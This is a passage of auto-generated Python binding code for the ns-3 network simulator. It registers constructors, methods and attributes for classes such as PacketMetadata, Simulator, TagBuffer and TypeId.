[member function] cls.add_method('CreateFragment', 'ns3::PacketMetadata', [param('uint32_t', 'start'), param('uint32_t', 'end')], is_const=True) ## packet-metadata.h (module 'network'): uint32_t ns3::PacketMetadata::Deserialize(uint8_t const * buffer, uint32_t size) [member function] cls.add_method('Deserialize', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint32_t', 'size')]) ## packet-metadata.h (module 'network'): static void ns3::PacketMetadata::Enable() [member function] cls.add_method('Enable', 'void', [], is_static=True) ## packet-metadata.h (module 'network'): static void ns3::PacketMetadata::EnableChecking() [member function] cls.add_method('EnableChecking', 'void', [], is_static=True) ## packet-metadata.h (module 'network'): uint32_t ns3::PacketMetadata::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True) ## packet-metadata.h (module 'network'): uint64_t ns3::PacketMetadata::GetUid() const [member function] cls.add_method('GetUid', 'uint64_t', [], is_const=True) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::RemoveAtEnd(uint32_t end) [member function] cls.add_method('RemoveAtEnd', 'void', [param('uint32_t', 'end')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::RemoveAtStart(uint32_t start) [member function] cls.add_method('RemoveAtStart', 'void', [param('uint32_t', 'start')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::RemoveHeader(ns3::Header const & header, uint32_t size) [member function] cls.add_method('RemoveHeader', 'void', [param('ns3::Header const &', 'header'), param('uint32_t', 'size')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::RemoveTrailer(ns3::Trailer const & trailer, uint32_t size) [member function] cls.add_method('RemoveTrailer', 'void', [param('ns3::Trailer const &', 'trailer'), param('uint32_t', 'size')]) ## packet-metadata.h (module 'network'): uint32_t ns3::PacketMetadata::Serialize(uint8_t * buffer, uint32_t maxSize) const [member function] cls.add_method('Serialize', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint32_t', 'maxSize')], is_const=True) return def register_Ns3PacketMetadataItem_methods(root_module, cls): ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::Item() [constructor] cls.add_constructor([]) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::Item(ns3::PacketMetadata::Item const & arg0) [copy constructor] cls.add_constructor([param('ns3::PacketMetadata::Item const &', 'arg0')]) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::current [variable] cls.add_instance_attribute('current', 'ns3::Buffer::Iterator', is_const=False) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::currentSize [variable] cls.add_instance_attribute('currentSize', 'uint32_t', is_const=False) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::currentTrimedFromEnd [variable] cls.add_instance_attribute('currentTrimedFromEnd', 'uint32_t', is_const=False) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::currentTrimedFromStart [variable] cls.add_instance_attribute('currentTrimedFromStart', 'uint32_t', is_const=False) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::isFragment [variable] cls.add_instance_attribute('isFragment', 'bool', is_const=False) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::tid [variable] cls.add_instance_attribute('tid', 'ns3::TypeId', is_const=False) return def register_Ns3PacketMetadataItemIterator_methods(root_module, cls): ## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator::ItemIterator(ns3::PacketMetadata::ItemIterator const & arg0) [copy constructor] cls.add_constructor([param('ns3::PacketMetadata::ItemIterator const &', 'arg0')]) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator::ItemIterator(ns3::PacketMetadata const * metadata, ns3::Buffer buffer) [constructor] cls.add_constructor([param('ns3::PacketMetadata const *', 'metadata'), param('ns3::Buffer', 'buffer')]) ## packet-metadata.h (module 'network'): bool ns3::PacketMetadata::ItemIterator::HasNext() const [member function] cls.add_method('HasNext', 'bool', [], is_const=True) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item ns3::PacketMetadata::ItemIterator::Next() [member function] cls.add_method('Next', 'ns3::PacketMetadata::Item', []) return def register_Ns3PacketTagIterator_methods(root_module, cls): ## packet.h (module 'network'): ns3::PacketTagIterator::PacketTagIterator(ns3::PacketTagIterator const & arg0) [copy constructor] cls.add_constructor([param('ns3::PacketTagIterator const &', 'arg0')]) ## packet.h (module 'network'): bool ns3::PacketTagIterator::HasNext() const [member function] cls.add_method('HasNext', 'bool', [], is_const=True) ## packet.h (module 'network'): ns3::PacketTagIterator::Item ns3::PacketTagIterator::Next() [member function] cls.add_method('Next', 'ns3::PacketTagIterator::Item', []) return def register_Ns3PacketTagIteratorItem_methods(root_module, cls): ## packet.h (module 'network'): ns3::PacketTagIterator::Item::Item(ns3::PacketTagIterator::Item const & arg0) [copy constructor] cls.add_constructor([param('ns3::PacketTagIterator::Item const &', 'arg0')]) ## packet.h (module 'network'): void ns3::PacketTagIterator::Item::GetTag(ns3::Tag & tag) const [member function] cls.add_method('GetTag', 'void', [param('ns3::Tag &', 'tag')], is_const=True) ## packet.h (module 'network'): ns3::TypeId ns3::PacketTagIterator::Item::GetTypeId() const [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_const=True) return def register_Ns3PacketTagList_methods(root_module, cls): ## packet-tag-list.h (module 'network'): ns3::PacketTagList::PacketTagList() [constructor] cls.add_constructor([]) ## packet-tag-list.h (module 'network'): ns3::PacketTagList::PacketTagList(ns3::PacketTagList const & o) [copy constructor] cls.add_constructor([param('ns3::PacketTagList const &', 'o')]) ## packet-tag-list.h (module 'network'): void ns3::PacketTagList::Add(ns3::Tag const & tag) const [member function] cls.add_method('Add', 'void', [param('ns3::Tag const &', 'tag')], is_const=True) ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData const * ns3::PacketTagList::Head() const [member function] cls.add_method('Head', 'ns3::PacketTagList::TagData const *', [], is_const=True) ## packet-tag-list.h (module 'network'): bool ns3::PacketTagList::Peek(ns3::Tag & tag) const [member function] cls.add_method('Peek', 'bool', [param('ns3::Tag &', 'tag')], is_const=True) ## packet-tag-list.h (module 'network'): bool ns3::PacketTagList::Remove(ns3::Tag & tag) [member function] cls.add_method('Remove', 'bool', [param('ns3::Tag &', 'tag')]) ## packet-tag-list.h (module 'network'): void ns3::PacketTagList::RemoveAll() [member function] cls.add_method('RemoveAll', 'void', []) ## packet-tag-list.h (module 'network'): bool ns3::PacketTagList::Replace(ns3::Tag & tag) [member function] cls.add_method('Replace', 'bool', [param('ns3::Tag &', 'tag')]) return def register_Ns3PacketTagListTagData_methods(root_module, cls): ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::TagData() [constructor] cls.add_constructor([]) ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::TagData(ns3::PacketTagList::TagData const & arg0) [copy constructor] cls.add_constructor([param('ns3::PacketTagList::TagData const &', 'arg0')]) ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::count [variable] cls.add_instance_attribute('count', 'uint32_t', is_const=False) ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::data [variable] cls.add_instance_attribute('data', 'uint8_t [ 21 ]', is_const=False) ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::next [variable] cls.add_instance_attribute('next', 'ns3::PacketTagList::TagData *', is_const=False) ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::tid [variable] cls.add_instance_attribute('tid', 'ns3::TypeId', is_const=False) return def register_Ns3SimpleRefCount__Ns3Object_Ns3ObjectBase_Ns3ObjectDeleter_methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter>::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter>::SimpleRefCount(ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter> const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter>::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3Simulator_methods(root_module, cls): ## simulator.h (module 'core'): ns3::Simulator::Simulator(ns3::Simulator const & arg0) [copy constructor] cls.add_constructor([param('ns3::Simulator const &', 'arg0')]) ## simulator.h (module 'core'): static void ns3::Simulator::Cancel(ns3::EventId const & id) [member function] cls.add_method('Cancel', 'void', [param('ns3::EventId const &', 'id')], is_static=True) ## simulator.h (module 'core'): static void ns3::Simulator::Destroy() [member function] cls.add_method('Destroy', 'void', [], is_static=True) ## simulator.h (module 'core'): static uint32_t ns3::Simulator::GetContext() [member function] cls.add_method('GetContext', 'uint32_t', [], is_static=True) ## simulator.h (module 'core'): static ns3::Time ns3::Simulator::GetDelayLeft(ns3::EventId const & id) [member function] cls.add_method('GetDelayLeft', 'ns3::Time', [param('ns3::EventId const &', 'id')], is_static=True) ## simulator.h (module 'core'): static ns3::Ptr<ns3::SimulatorImpl> ns3::Simulator::GetImplementation() [member function] cls.add_method('GetImplementation', 'ns3::Ptr< ns3::SimulatorImpl >', [], is_static=True) ## simulator.h (module 'core'): static ns3::Time ns3::Simulator::GetMaximumSimulationTime() [member function] cls.add_method('GetMaximumSimulationTime', 'ns3::Time', [], is_static=True) ## simulator.h (module 'core'): static uint32_t ns3::Simulator::GetSystemId() [member function] cls.add_method('GetSystemId', 'uint32_t', [], is_static=True) ## simulator.h (module 'core'): static bool ns3::Simulator::IsExpired(ns3::EventId const & id) [member function] cls.add_method('IsExpired', 'bool', [param('ns3::EventId const &', 'id')], is_static=True) ## simulator.h (module 'core'): static bool ns3::Simulator::IsFinished() [member function] cls.add_method('IsFinished', 'bool', [], is_static=True) ## simulator.h (module 'core'): static ns3::Time ns3::Simulator::Now() [member function] cls.add_method('Now', 'ns3::Time', [], is_static=True) ## simulator.h (module 'core'): static void ns3::Simulator::Remove(ns3::EventId const & id) [member function] cls.add_method('Remove', 'void', [param('ns3::EventId const &', 'id')], is_static=True) ## simulator.h (module 'core'): static void ns3::Simulator::SetImplementation(ns3::Ptr<ns3::SimulatorImpl> impl) [member function] cls.add_method('SetImplementation', 'void', [param('ns3::Ptr< ns3::SimulatorImpl >', 'impl')], is_static=True) ## simulator.h (module 'core'): static void ns3::Simulator::SetScheduler(ns3::ObjectFactory schedulerFactory) [member function] cls.add_method('SetScheduler', 'void', [param('ns3::ObjectFactory', 'schedulerFactory')], is_static=True) ## simulator.h (module 'core'): static void ns3::Simulator::Stop() [member function] cls.add_method('Stop', 'void', [], is_static=True) ## simulator.h (module 'core'): static void ns3::Simulator::Stop(ns3::Time const & delay) [member function] cls.add_method('Stop', 'void', [param('ns3::Time const &', 'delay')], is_static=True) return def register_Ns3Tag_methods(root_module, cls): ## tag.h (module 'network'): ns3::Tag::Tag() [constructor] cls.add_constructor([]) ## tag.h (module 'network'): ns3::Tag::Tag(ns3::Tag const & arg0) [copy constructor] cls.add_constructor([param('ns3::Tag const &', 'arg0')]) ## tag.h (module 'network'): void ns3::Tag::Deserialize(ns3::TagBuffer i) [member function] cls.add_method('Deserialize', 'void', [param('ns3::TagBuffer', 'i')], is_pure_virtual=True, is_virtual=True) ## tag.h (module 'network'): uint32_t ns3::Tag::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## tag.h (module 'network'): static ns3::TypeId ns3::Tag::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## tag.h (module 'network'): void ns3::Tag::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_pure_virtual=True, is_const=True, is_virtual=True) ## tag.h (module 'network'): void ns3::Tag::Serialize(ns3::TagBuffer i) const [member function] cls.add_method('Serialize', 'void', [param('ns3::TagBuffer', 'i')], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3TagBuffer_methods(root_module, cls): ## tag-buffer.h (module 'network'): ns3::TagBuffer::TagBuffer(ns3::TagBuffer const & arg0) [copy constructor] cls.add_constructor([param('ns3::TagBuffer const &', 'arg0')]) ## tag-buffer.h (module 'network'): ns3::TagBuffer::TagBuffer(uint8_t * start, uint8_t * end) [constructor] cls.add_constructor([param('uint8_t *', 'start'), param('uint8_t *', 'end')]) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::CopyFrom(ns3::TagBuffer o) [member function] cls.add_method('CopyFrom', 'void', [param('ns3::TagBuffer', 'o')]) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::Read(uint8_t * buffer, uint32_t size) [member function] cls.add_method('Read', 'void', [param('uint8_t *', 'buffer'), param('uint32_t', 'size')]) ## tag-buffer.h (module 'network'): double ns3::TagBuffer::ReadDouble() [member function] cls.add_method('ReadDouble', 'double', []) ## tag-buffer.h (module 'network'): uint16_t ns3::TagBuffer::ReadU16() [member function] cls.add_method('ReadU16', 'uint16_t', []) ## tag-buffer.h (module 'network'): uint32_t ns3::TagBuffer::ReadU32() [member function] cls.add_method('ReadU32', 'uint32_t', []) ## tag-buffer.h (module 'network'): uint64_t ns3::TagBuffer::ReadU64() [member function] cls.add_method('ReadU64', 'uint64_t', []) ## tag-buffer.h (module 'network'): uint8_t ns3::TagBuffer::ReadU8() [member function] cls.add_method('ReadU8', 'uint8_t', []) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::TrimAtEnd(uint32_t trim) [member function] cls.add_method('TrimAtEnd', 'void', [param('uint32_t', 'trim')]) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::Write(uint8_t const * buffer, uint32_t size) [member function] cls.add_method('Write', 'void', [param('uint8_t const *', 'buffer'), param('uint32_t', 'size')]) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteDouble(double v) [member function] cls.add_method('WriteDouble', 'void', [param('double', 'v')]) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteU16(uint16_t data) [member function] cls.add_method('WriteU16', 'void', [param('uint16_t', 'data')]) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteU32(uint32_t data) [member function] cls.add_method('WriteU32', 'void', [param('uint32_t', 'data')]) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteU64(uint64_t v) [member function] cls.add_method('WriteU64', 'void', [param('uint64_t', 'v')]) ## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteU8(uint8_t v) [member function] cls.add_method('WriteU8', 'void', [param('uint8_t', 'v')]) return def register_Ns3TimeWithUnit_methods(root_module, cls): cls.add_output_stream_operator() ## nstime.h (module 'core'): ns3::TimeWithUnit::TimeWithUnit(ns3::TimeWithUnit const & arg0) [copy constructor] cls.add_constructor([param('ns3::TimeWithUnit const &', 'arg0')]) ## nstime.h (module 'core'): ns3::TimeWithUnit::TimeWithUnit(ns3::Time const time, ns3::Time::Unit const unit) [constructor] cls.add_constructor([param('ns3::Time const', 'time'), param('ns3::Time::Unit const', 'unit')]) return def register_Ns3TypeId_methods(root_module, cls): cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## type-id.h (module 'core'): ns3::TypeId::TypeId(char const * name) [constructor] cls.add_constructor([param('char const *', 'name')]) ## type-id.h (module 'core'): ns3::TypeId::TypeId() [constructor] cls.add_constructor([]) ## type-id.h (module 'core'): ns3::TypeId::TypeId(ns3::TypeId const & o) [copy constructor] cls.add_constructor([param('ns3::TypeId const &', 'o')]) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::AddAttribute(std::string name, std::string help, ns3::AttributeValue const & initialValue, ns3::Ptr<ns3::AttributeAccessor const> accessor, ns3::Ptr<ns3::AttributeChecker const> checker, ns3::TypeId::SupportLevel supportLevel=::ns3::TypeId::SUPPORTED, std::string const & supportMsg="") [member function] cls.add_method('AddAttribute', 'ns3::TypeId', [param('std::string', 'name'), param('std::string', 'help'), param('ns3::AttributeValue const &', 'initialValue'), param('ns3::Ptr< ns3::AttributeAccessor const >', 'accessor'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker'), param('ns3::TypeId::SupportLevel', 'supportLevel', default_value='::ns3::TypeId::SUPPORTED'), param('std::string const &', 'supportMsg', default_value='""')]) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::AddAttribute(std::string name, std::string help, uint32_t flags, ns3::AttributeValue const & initialValue, ns3::Ptr<ns3::AttributeAccessor const> accessor, ns3::Ptr<ns3::AttributeChecker const> checker, ns3::TypeId::SupportLevel supportLevel=::ns3::TypeId::SUPPORTED, std::string const & supportMsg="") [member function] cls.add_method('AddAttribute', 'ns3::TypeId', [param('std::string', 'name'), param('std::string', 'help'), param('uint32_t', 'flags'), param('ns3::AttributeValue const &', 'initialValue'), param('ns3::Ptr< ns3::AttributeAccessor const >', 'accessor'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker'), param('ns3::TypeId::SupportLevel', 'supportLevel', default_value='::ns3::TypeId::SUPPORTED'), param('std::string const &', 'supportMsg', default_value='""')]) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::AddTraceSource(std::string name, std::string help, ns3::Ptr<ns3::TraceSourceAccessor const> accessor) [member function] cls.add_method('AddTraceSource', 'ns3::TypeId', [param('std::string', 'name'), param('std::string', 'help'), param('ns3::Ptr< ns3::TraceSourceAccessor const >', 'accessor')], deprecated=True) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::AddTraceSource(std::string name, std::string help, ns3::Ptr<ns3::TraceSourceAccessor const> accessor, std::string callback, ns3::TypeId::SupportLevel supportLevel=::ns3::TypeId::SUPPORTED, std::string const & supportMsg="") [member function] cls.add_method('AddTraceSource', 'ns3::TypeId', [param('std::string', 'name'), param('std::string', 'help'), param('ns3::Ptr< ns3::TraceSourceAccessor const >', 'accessor'), param('std::string', 'callback'), param('ns3::TypeId::SupportLevel', 'supportLevel', default_value='::ns3::TypeId::SUPPORTED'), param('std::string const &', 'supportMsg', default_value='""')]) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation ns3::TypeId::GetAttribute(uint32_t i) const [member function] cls.add_method('GetAttribute', 'ns3::TypeId::AttributeInformation', [param('uint32_t', 'i')], is_const=True) ## type-id.h (module 'core'): std::string ns3::TypeId::GetAttributeFullName(uint32_t i) const [member function] cls.add_method('GetAttributeFullName', 'std::string', [param('uint32_t', 'i')], is_const=True) ## type-id.h (module 'core'): uint32_t ns3::TypeId::GetAttributeN() const [member function] cls.add_method('GetAttributeN', 'uint32_t', [], is_const=True) ## type-id.h (module 'core'): ns3::Callback<ns3::ObjectBase*,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ns3::TypeId::GetConstructor() const [member function] cls.add_method('GetConstructor', 'ns3::Callback< ns3::ObjectBase *, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', [], is_const=True) ## type-id.h (module 'core'): std::string ns3::TypeId::GetGroupName() const [member function] cls.add_method('GetGroupName', 'std::string', [], is_const=True) ## type-id.h (module 'core'): uint32_t ns3::TypeId::GetHash() const [member function] cls.add_method('GetHash', 'uint32_t', [], is_const=True) ## type-id.h (module 'core'): std::string ns3::TypeId::GetName() const [member function] cls.add_method('GetName', 'std::string', [], is_const=True) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::GetParent() const [member function] cls.add_method('GetParent', 'ns3::TypeId', [], is_const=True) ## type-id.h (module 'core'): static ns3::TypeId ns3::TypeId::GetRegistered(uint32_t i) [member function] cls.add_method('GetRegistered', 'ns3::TypeId', [param('uint32_t', 'i')], is_static=True) ## type-id.h (module 'core'): static uint32_t ns3::TypeId::GetRegisteredN() [member function] cls.add_method('GetRegisteredN', 'uint32_t', [], is_static=True) ## type-id.h (module 'core'): std::size_t ns3::TypeId::GetSize() const [member function] cls.add_method('GetSize', 'std::size_t', [], is_const=True) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation ns3::TypeId::GetTraceSource(uint32_t i) const [member function] cls.add_method('GetTraceSource', 'ns3::TypeId::TraceSourceInformation', [param('uint32_t', 'i')], is_const=True) ## type-id.h (module 'core'): uint32_t ns3::TypeId::GetTraceSourceN() const [member function] cls.add_method('GetTraceSourceN', 'uint32_t', [], is_const=True) ## type-id.h (module 'core'): uint16_t ns3::TypeId::GetUid() const [member function] cls.add_method('GetUid', 'uint16_t', [], is_const=True) ## type-id.h (module 'core'): bool ns3::TypeId::HasConstructor() const [member function] cls.add_method('HasConstructor', 'bool', [], is_const=True) ## type-id.h (module 'core'): bool ns3::TypeId::HasParent() const [member function] cls.add_method('HasParent', 'bool', [], is_const=True) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::HideFromDocumentation() [member function] cls.add_method('HideFromDocumentation', 'ns3::TypeId', []) ## type-id.h (module 'core'): bool ns3::TypeId::IsChildOf(ns3::TypeId other) const [member function] cls.add_method('IsChildOf', 'bool', [param('ns3::TypeId', 'other')], is_const=True) ## type-id.h (module 'core'): bool ns3::TypeId::LookupAttributeByName(std::string name, ns3::TypeId::AttributeInformation * info) const [member function] cls.add_method('LookupAttributeByName', 'bool', [param('std::string', 'name'), param('ns3::TypeId::AttributeInformation *', 'info', transfer_ownership=False)], is_const=True) ## type-id.h (module 'core'): static ns3::TypeId ns3::TypeId::LookupByHash(uint32_t hash) [member function] cls.add_method('LookupByHash', 'ns3::TypeId', [param('uint32_t', 'hash')], is_static=True) ## type-id.h (module 'core'): static bool ns3::TypeId::LookupByHashFailSafe(uint32_t hash, ns3::TypeId * tid) [member function] cls.add_method('LookupByHashFailSafe', 'bool', [param('uint32_t', 'hash'), param('ns3::TypeId *', 'tid')], is_static=True) ## type-id.h (module 'core'): static ns3::TypeId ns3::TypeId::LookupByName(std::string name) [member function] cls.add_method('LookupByName', 'ns3::TypeId', [param('std::string', 'name')], is_static=True) ## type-id.h (module 'core'): ns3::Ptr<ns3::TraceSourceAccessor const> ns3::TypeId::LookupTraceSourceByName(std::string name) const [member function] cls.add_method('LookupTraceSourceByName', 'ns3::Ptr< ns3::TraceSourceAccessor const >', [param('std::string', 'name')], is_const=True) ## type-id.h (module 'core'): ns3::Ptr<ns3::TraceSourceAccessor const> ns3::TypeId::LookupTraceSourceByName(std::string name, ns3::TypeId::TraceSourceInformation * info) const [member function] cls.add_method('LookupTraceSourceByName', 'ns3::Ptr< ns3::TraceSourceAccessor const >', [param('std::string', 'name'), param('ns3::TypeId::TraceSourceInformation *', 'info')], is_const=True) ## type-id.h (module 'core'): bool ns3::TypeId::MustHideFromDocumentation() const [member function] cls.add_method('MustHideFromDocumentation', 'bool', [], is_const=True) ## type-id.h (module 'core'): bool ns3::TypeId::SetAttributeInitialValue(uint32_t i, ns3::Ptr<ns3::AttributeValue const> initialValue) [member function] cls.add_method('SetAttributeInitialValue', 'bool', [param('uint32_t', 'i'), param('ns3::Ptr< ns3::AttributeValue const >', 'initialValue')]) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::SetGroupName(std::string groupName) [member function] cls.add_method('SetGroupName', 'ns3::TypeId', [param('std::string', 'groupName')]) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::SetParent(ns3::TypeId tid) [member function] cls.add_method('SetParent', 'ns3::TypeId', [param('ns3::TypeId', 'tid')]) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::SetSize(std::size_t size) [member function] cls.add_method('SetSize', 'ns3::TypeId', [param('std::size_t', 'size')]) ## type-id.h (module 'core'): void ns3::TypeId::SetUid(uint16_t uid) [member function] cls.add_method('SetUid', 'void', [param('uint16_t', 'uid')]) return def register_Ns3TypeIdAttributeInformation_methods(root_module, cls): ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::AttributeInformation() [constructor] cls.add_constructor([]) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::AttributeInformation(ns3::TypeId::AttributeInformation const & arg0) [copy constructor] cls.add_constructor([param('ns3::TypeId::AttributeInformation const &', 'arg0')]) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::accessor [variable] cls.add_instance_attribute('accessor', 'ns3::Ptr< ns3::AttributeAccessor const >', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::checker [variable] cls.add_instance_attribute('checker', 'ns3::Ptr< ns3::AttributeChecker const >', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::flags [variable] cls.add_instance_attribute('flags', 'uint32_t', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::help [variable] cls.add_instance_attribute('help', 'std::string', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::initialValue [variable] cls.add_instance_attribute('initialValue', 'ns3::Ptr< ns3::AttributeValue const >', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::name [variable] cls.add_instance_attribute('name', 'std::string', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::originalInitialValue [variable] cls.add_instance_attribute('originalInitialValue', 'ns3::Ptr< ns3::AttributeValue const >', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::supportLevel [variable] cls.add_instance_attribute('supportLevel', 'ns3::TypeId::SupportLevel', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::supportMsg [variable] cls.add_instance_attribute('supportMsg', 'std::string', is_const=False) return def register_Ns3TypeIdTraceSourceInformation_methods(root_module, cls): ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::TraceSourceInformation() [constructor] cls.add_constructor([]) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::TraceSourceInformation(ns3::TypeId::TraceSourceInformation const & arg0) [copy constructor] cls.add_constructor([param('ns3::TypeId::TraceSourceInformation const &', 'arg0')]) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::accessor [variable] cls.add_instance_attribute('accessor', 'ns3::Ptr< ns3::TraceSourceAccessor const >', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::callback [variable] cls.add_instance_attribute('callback', 'std::string', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::help [variable] cls.add_instance_attribute('help', 'std::string', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::name [variable] cls.add_instance_attribute('name', 'std::string', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::supportLevel [variable] cls.add_instance_attribute('supportLevel', 'ns3::TypeId::SupportLevel', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::supportMsg [variable] cls.add_instance_attribute('supportMsg', 'std::string', is_const=False) return def register_Ns3Empty_methods(root_module, cls): ## empty.h (module 'core'): ns3::empty::empty() [constructor] cls.add_constructor([]) ## empty.h (module 'core'): ns3::empty::empty(ns3::empty const & arg0) [copy constructor] cls.add_constructor([param('ns3::empty const &', 'arg0')]) return def register_Ns3Int64x64_t_methods(root_module, cls): cls.add_binary_numeric_operator('*', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('ns3::int64x64_t const &', u'right')) cls.add_binary_numeric_operator('+', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('ns3::int64x64_t const &', u'right')) cls.add_binary_numeric_operator('-', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('ns3::int64x64_t const &', u'right')) cls.add_unary_numeric_operator('-') cls.add_binary_numeric_operator('/', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('ns3::int64x64_t const &', u'right')) cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('>') cls.add_binary_comparison_operator('!=') cls.add_inplace_numeric_operator('*=', param('ns3::int64x64_t const &', u'right')) cls.add_inplace_numeric_operator('+=', param('ns3::int64x64_t const &', u'right')) cls.add_inplace_numeric_operator('-=', param('ns3::int64x64_t const &', u'right')) cls.add_inplace_numeric_operator('/=', param('ns3::int64x64_t const &', u'right')) cls.add_output_stream_operator() cls.add_binary_comparison_operator('<=') cls.add_binary_comparison_operator('==') cls.add_binary_comparison_operator('>=') ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t() [constructor] cls.add_constructor([]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(double v) [constructor] cls.add_constructor([param('double', 'v')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long double v) [constructor] cls.add_constructor([param('long double', 'v')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(int v) [constructor] cls.add_constructor([param('int', 'v')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long int v) [constructor] cls.add_constructor([param('long int', 'v')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long long int v) [constructor] cls.add_constructor([param('long long int', 'v')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(unsigned int v) [constructor] cls.add_constructor([param('unsigned int', 'v')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long unsigned int v) [constructor] cls.add_constructor([param('long unsigned int', 'v')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long long unsigned int v) [constructor] cls.add_constructor([param('long long unsigned int', 'v')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(int64_t hi, uint64_t lo) [constructor] cls.add_constructor([param('int64_t', 'hi'), param('uint64_t', 'lo')]) ## int64x64-double.h (module 'core'): 